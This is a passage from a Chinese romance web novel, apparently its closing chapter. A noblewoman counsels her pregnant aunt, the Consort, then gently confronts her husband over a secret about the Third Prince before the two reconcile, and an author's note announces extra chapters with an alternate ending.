贤贵妃摸着肚子的手一顿:“也是这么个道理。” 邵婉淑:“姑母以后多想想肚子里的孩子,三皇子成年了,他的事就让皇上和太子去操心吧。” 贤贵妃:“哎,罢了,我什么都不想了,先平安把孩子生下来吧。” 邵婉淑刚回到府中,宫里的赏赐就到了。一部分是贤贵妃给的,还有一部分是皇上给的。姑母时常给她赏赐东西,皇上很少有赏赐。 邵婉淑琢磨了一下,觉得应该是今日姑母听了她的劝,所以皇上赏赐她。 她欣然接受了。 晚上,等裴行舟回来,邵婉淑问道:“三皇子离京的事你知道吗?” 裴行舟沉默了。 邵婉淑明白了,裴行舟是知道的。说不定他不光知道,还帮助三皇子出逃了。 “你知道为何不告诉我?” 裴行舟:“我若告诉你了,你会不会去跟贵妃娘娘说?” 邵婉淑沉默了,这件事还真不好说。三皇子是她的表弟,她知道他不想被一直困在京城。可她也很担心三皇子的安危,怕他出京遇到危险。 裴行舟:“若是说了,三皇子会不高兴。若是不说,贵妃会责怪你。所以,有些事倒不如不知道。” 邵婉淑抬眼看向了裴行舟:“哼,侯爷瞒着我还是为了我好不成?” 看着邵婉淑娇嗔的表情,裴行舟心里一热。自从说开了后,她如今也会跟他撒娇了。不像梦里的她对他一板一眼。 他俯身亲了亲邵婉淑的唇,哑声道:“我的错,以后一定事事都告诉夫人。” 邵婉淑:“这还差不多。” 裴行舟抬手圈住了邵婉淑,压着她吻了上去。 这时,儿子突然叫了起来。 裴行舟和邵婉淑同时看了过去。见他们看过来,小孩子脸上露出来一个笑,挥舞着胳膊想让他们抱。 裴行舟走过去将儿子抱了起来,他立马就不叫了,老老实实趴在裴行舟怀中。 看着父子俩相似的脸,邵婉淑脸上露出来一个温柔的笑意。 这一世,她的人生圆满了许多—— 作者有话说:正文已完结,后面是番外,番外写的是前世的另一种结局。《 》